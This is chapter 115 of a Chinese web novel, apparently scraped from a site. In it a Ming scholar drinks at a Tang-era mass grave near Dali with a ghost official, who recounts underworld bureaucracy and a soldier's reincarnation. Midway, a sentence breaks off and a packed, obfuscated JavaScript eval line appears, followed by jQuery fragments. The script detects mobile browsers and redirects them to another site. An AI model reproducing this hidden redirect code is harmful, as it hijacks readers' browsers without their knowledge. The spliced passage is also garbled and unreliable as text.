115.幽冥通判

作品:《南中月下行

    幽冥通判


    明朝成化年间,在云南德胜驿(今大理附近)的一个秋分夜晚,月亮又大又亮。赵州来的读书人方仲才,和他的朋友杨德镛在杨德镛家喝茶聊天。两人越聊越起劲,都觉得自己胆子很大,敢说鬼神。茶喝完了,夜深了,他们俩干脆带上酒菜,跑到城西著名的“万人冢”去夜游。


    这“万人冢”是数百年前唐朝大将李宓征讨南诏国失败的地方,战死的几万唐朝将士就埋在这里。两人在残破的石碑前摆好酒菜,席地而坐,对着这片古老的战场敬酒。


    刚喝了两杯,月光忽然暗了一下。他俩抬头一看,身边不知什么时候站了一位官员。这人穿着紫色的官袍,脚蹬黑靴子,脸色红彤彤的,样子非常威严,是从阴间走出来的。


    “两位真是好兴致啊!月下凭吊古战场,怎么不叫我这个古人一起喝上一杯,聊聊过去的事呢?”这官员的声音低沉得像古钟。


    方仲才脑子里一闪,想起本地流传的一个鬼神的传说,脱口而出:“您…您莫非是淮城的刘通判?”


    来人点点头:“正是我,刘某。”


    杨德镛一听,赶紧起身拱手:“通判大人!我家离这不远,我这就去再拿些酒菜来,给您助兴!”说完就快步走了。


    刘通判也不客气,在方仲才对面坐下,看了看酒杯说:“有劳德镛兄了。方便的话,麻烦带两块月饼,再炒一盘今天早上客人送的新鲜鸡枞菌。”


    杨德镛这厢应声而去,荒坟边上就剩下方仲才和刘通判,四周静悄悄的,只有风吹荒草的沙沙声。方仲才恭敬地给刘通判倒满酒。


    “通判大人刚才说您在阴间淮城当差,不知道阴间…也有音乐吗?”方仲才小心地问。


    刘通判眼神变得有些遥远,陷入了回忆:“唉,天宝年间,长安城里歌舞升平,新曲子像流水一样传出来……我妻子素珍,唱歌像行云流水一样好听。我自己也特别喜欢吹玉笛。出征前,她把祖传的一支叫‘九节王笛’的宝贝笛子送给了我,说‘愿笛声常在,就像我在你身边’。我一直贴身藏着,看得比命还重。可惜啊,天宝十三年,战死在这西洱河边,笛子也沉到河里去了……”


    他抬头望着月亮,声音像从山谷里飘来:“幸好老天爷可怜我们这些为国战死的忠魂,魂魄不散,还能借着阴风在夜里行走,给亲人托个梦。阴间啊,‘情’这个字,比在人间更难割舍!我想方设法托梦给我妻子素珍,但阴阳两界,关卡重重。没有阴间的通关文书,立刻就会被当地管鬼的官抓进阴牢,关一年才放出来。等我千辛万苦终于托梦到家里,安禄山造反了,全家都逃难躲到四川去了。蜀道难走,对鬼魂倒不是难事,去看望他们,反而比从前更快了……” 他的话里,藏着说不出的无奈和心酸。


    “人间的缘分总有到头的时候,” 他喝干杯中酒,神情又恢复了阴间判官的严肃,“素珍去世后,投胎转世成了一个富人家的儿子,我和她尘世的缘分就断了。我的魂魄依附在苍山洱海之间,凝聚不散,有幸被封为淮城的文簿官,掌管一方百姓的功过是非。如果我能秉公办事,不犯大错,就有希望修成‘鬼仙’,不用再投胎轮回,能活三千年;如果功德圆满,名字记上‘蓝簿’,就能享受人间的香火供奉,成为一方真正的神灵。” 他的话里,阴间的规矩森严,但也有一份自在。


    这时,杨德镛提着食盒回来了,新炒的鸡枞菌香气扑鼻。刘通判夹起一筷子,细细品尝:“这菌子真鲜!当年唐朝大军刚打到云南,正是鸡枞菌漫山遍野长的时候。士兵们埋锅做饭,把菌子烤着吃,香得不得了。” 他忽然神色一正,话锋一转,“不过云南的菌子种类太多,一百多种里面,藏着不少要命的毒菌。有种红得像火的,叫‘猴笑天’,吃少点会让人狂笑不止,吃多了立刻没命;还有一种红得发亮像灯笼的,夜里会发光,诱人去采,中毒的人全身长满像蘑菇一样的血泡,死得很惨。只有苍山洱海这一带好点,但这里也有种白顶的麻菌,吃到嘴里又麻又涩,硬要吃下去,肠子都会烂掉……天宝年打仗,除了刀枪,被毒菌害死的兵也不少。” 美味的菌子和剧毒的菌子,就像生和死、阴和阳,紧紧挨着,让人听了背后发凉。


    方仲才听了很有感触,问道:“通判大人您常在人间走动,如果不主动现身,凡人怎么能认出鬼神呢?阴间冷冷清清的,您羡慕人间的热闹吗?”


    刘通判看着方仲才,目光像能看透人心:“今晚我们能见面,不就是缘分吗?阴间没有尘世的吵闹,也没有争名夺利、勾心斗角的烦恼。那些游魂野鬼,看着到处飘荡,其实也挺自在逍遥。” 他看看四周的夜色,声音里带着千年看透世事的明白,“反过来看人间,热热闹闹,可人们争名夺利,什么时候消停过?烦恼像野草,割了一茬又一茬。不过呢,人间确实有它的好:青山绿水,闹市繁华,笙歌笑语,生机勃勃,这是做人的快乐。只是生老病死像影子一样跟着人。人怕死怕得要命,却不知道魂魄是不灭的。在轮回里,男人变女人,女人变男人,穷人变富人,富人变穷人,不过是换了个身体重新活。要是魂魄特别坚固,记性特别好,还能记得上辈子的事,托个梦给人,也不稀奇。”


    说到这儿,刘通判忽然问方仲才:“你知不知道几十年前,有个叫杨伦的士兵?”


    方仲才摇摇头表示不知,刘通判就把一段往事慢慢讲给他听。


    那是唐朝天宝年间战事平息很久以后的事了。万人冢边荒草长得老高。一天夜里,一个叫杨伦的士兵在冢边巡逻,忽然看见月光下站着一个红脸的大汉,穿着军装。杨伦喝问是谁,那大汉严肃地回答:“我是李宓将军手下的刘通判!”


    杨伦在云南当兵多年,只知道本朝的傅友德、沐英、蓝玉这些将军,根本没听过唐朝的李宓,就直说不认识。那军汉叹口气:“我本是唐朝李宓将军的部下,就埋在这万人冢里。后来蒙阴间提拔,当了淮城的文簿官,专门记录这一带活人的功劳和过错。杨伦,你今年四十二岁,小时候好赌钱,二十七岁当兵,身上挨过三刀,打仗一共杀了十一个人。娶了凤阳姓张的女人做老婆,生了四个儿子两个女儿……” 说到这里,他声音突然冷得像冰,“前天夜里,你偷偷跑到你好朋友家,跟他老婆私通,有没有这回事?”


    杨伦一听,像被雷劈中一样,魂都吓飞了,扑通跪在地上,拼命磕头求饶。


    刘通判脸色缓和了一点:“男女姻缘都是前世定好的,这不怪你。人的生死劫数,也都是老天爷定好的。打仗杀人,是老天爷安排好的劫数,不过是借你们的手完成罢了。要不是这样安排,冤冤相报没完没了,谁还敢去当兵打仗?” 他眼中闪过战场上的杀气,“天宝年那场决战,我亲手砍死了三十多个敌兵。但为了掩护主将,我身上挨了几十处伤,最后力气用完,自己抹了脖子,死在西洱河边!” 说完,他的样子突然变了,只见他盔甲破烂,满身是深深的伤口,喉咙上一道刀口还在流血!


    杨伦这时早吓得魂不附体,刘通判又恢复了原样,叮嘱道:“别怕。你自己知道就行了,千万别告诉别人。” 还邀请杨伦第二天晚上带酒菜来万人冢边一起喝酒。杨伦从小胆子就大,第二天晚上果然带着酒菜来了。到了地方,刘通判和一个二十多岁、书生模样的人已经坐在地上等着了。杨伦坐下,拿出酒菜三人一起喝起来。这才知道那书生生前是李将军军中的文书官,姓王,专门管来往信件。聊天中,刘通判说起阴间办事和阳间差不多。那些没家的孤魂野鬼,不归地府管,由当地的土地神、城隍爷管。农历七月十五中元节是鬼的假期,鬼魂们可以回家享受子孙的祭祀,接受香火。土地爷们就在人间巡逻,防止野鬼捣乱。生前有功劳的,名字会上阴间的光荣榜;有过错的,就被戴上枷锁受罚……


    就这样,杨伦和这两位通判官一起喝了四十多天酒。一天晚上,酒喝到一半,刘通判很严肃地对杨伦说:“你的阳寿只剩下十八天了!赶紧回家安排后事吧!你死后会投胎到叶榆(大理古称)城西王员外家。明天你要是有空,可以去大理看看你将来的爹娘。” 他眼中闪过一丝神秘的光,“我已经替你打点过管投胎的王婆了,你不用喝那碗迷魂汤,下辈子还能记得这辈子的事。不过,出生以后,千


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838366|171305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    万千万要管住嘴,别乱说话!” 杨伦听了,又是难过又是惊奇,回家后果然在第十八天死了。


    一个月后,王员外家真的生了个大胖小子。全家正高兴呢,忽然听说有人来访,竟然是一个月前来“看望”过员外夫妻的杨伦!王员外又惊又疑,勉强把人请进来。当天夜里,刘通判的身影悄无声息地出现在王员外卧室里,开门见山地说:“这孩子就是杨伦转世投胎来的,因为前世缘分没断,特意来相认。但他魂魄虽然记得事,现在只是个奶娃娃,不满八岁之前,绝对不能让他乱说前世的事!等他满十二岁了,你带他到万人冢去,自然有重聚的日子。” 说完就不见了。王员外吓得不轻,但也知道这是因果报应,躲不掉,就给儿子取名“重生”。这小重生果然聪明得不像话,经常说些阴间的事,家里人牢记刘通判的警告,管得很严。到了十二岁,王重生告别父母和兄弟,自己跑到万人冢去了。黄昏时分,果然看见刘通判穿着紫袍黑靴,像棵松树一样站在那里。两人重逢,聊起前世的事,就像昨天才发生一样。后来王重生到清化宫当了道士,诚心修道,成了一代高道,还在李公祠后面主持修建了灵瑞观,当了观主。刘通判也常常到观里显形,和他谈论道法。这人和鬼神交往的事,一时间传为佳话。


    刘通判讲完杨伦转世当道士的故事,声音平静得像古井里的水。这时,东边的天空已经有点发白,月亮不那么亮了。刘通判举起杯,喝干最后一点酒,对方仲才和杨德镛说:“李宓将军待部下像亲兄弟,所以他部下的英魂,无论将军还是小兵,在阴间都有神职的名册。不过军营里的老兵,大多愿意领了投胎的文书,重新回人间做人。他们空出来的阴兵位置,就由历代的忠勇游魂来填补。凡是当了李将军手下阴兵的,必须大公无私,如果谁敢作怪害老百姓……” 他双眼猛地射出寒光,声音像铁器相撞,“阴火就会从他七窍里自己烧起来,眨眼间魂飞魄散,永远消失!”


    杨德镛好奇地问:“将军的这些阴兵鬼将,在阴间也有老婆孩子吗?”


    刘通判摇摇头:“李将军统领的是打仗的军队,规矩非常严,上上下下都没有家眷拖累。七情六欲太重、凡心不死的,成不了神,只能再去投胎,重新尝人间的酸甜苦辣。做神的道理,贵在公平正直,不偏不向,这样才能得到人间的尊敬和信任,香火才能一直传下去。”


    远处村子里传来公鸡打鸣的声音,一声接一声,天快亮了。坟地里的鬼火(磷火)也渐渐熄灭了,像星星沉入了大海。刘通判站起身,紫色的官袍在晨风里轻轻飘动,他的身影开始变得模糊透明,像月光下的雾气快要散了。


    “阴间路远,人间日长。方举人,” 他目光深深地看着方仲才,像两潭深水,“我们有缘,可以学学古人的样子。从今以后,每隔三年的秋分,月亮最圆的那天晚上,我刘某就在这万人冢边等你,和你见上一面。”


    说完,不等方仲才回答,他的身影就化作一缕淡淡的青烟,融进了刚露头的晨光里,消失不见了。只剩下荒凉的坟地边,酒香和鸡枞菌的味道还没散尽,还有那些穿越了生死的话,在方仲才心里久久回荡。


    从那天起,每隔三年的秋分,月亮圆圆满地照在苍山洱海上时,德胜驿西边的万人冢前,总有一个人带着酒,独自坐在那里。破旧的石碑静静立着,荒草在风中摇晃,仿佛还在无声地诉说着几百年前那场惨烈的天宝大战。那位幽冥判官的身影时隐时现,和这位执着的读书人对坐畅谈。阴间的律法、轮回的秘密、南诏古战场的刀光血影、长安城里早已消失的笛声……都随着夜晚的露水,滴落下来,渗进坟冢的黄土里。


    就这样,一年又一年,直到有一年秋分,方仲才已经白发苍苍的老者,当最后一次走进这片被月光浸透的古战场,从此再也没有人见过他。只剩下灵瑞观里袅袅升起的香烟,似乎还在缠绕着那个紫袍黑靴的身影。


    在云南西部老人们口口相传的故事里,那段关于忠魂不灭、轮回转世、生死约定的古老传说,一直流传着——人和神的交往,都是前世注定的缘分;阴间的承诺,比千山万水还要重。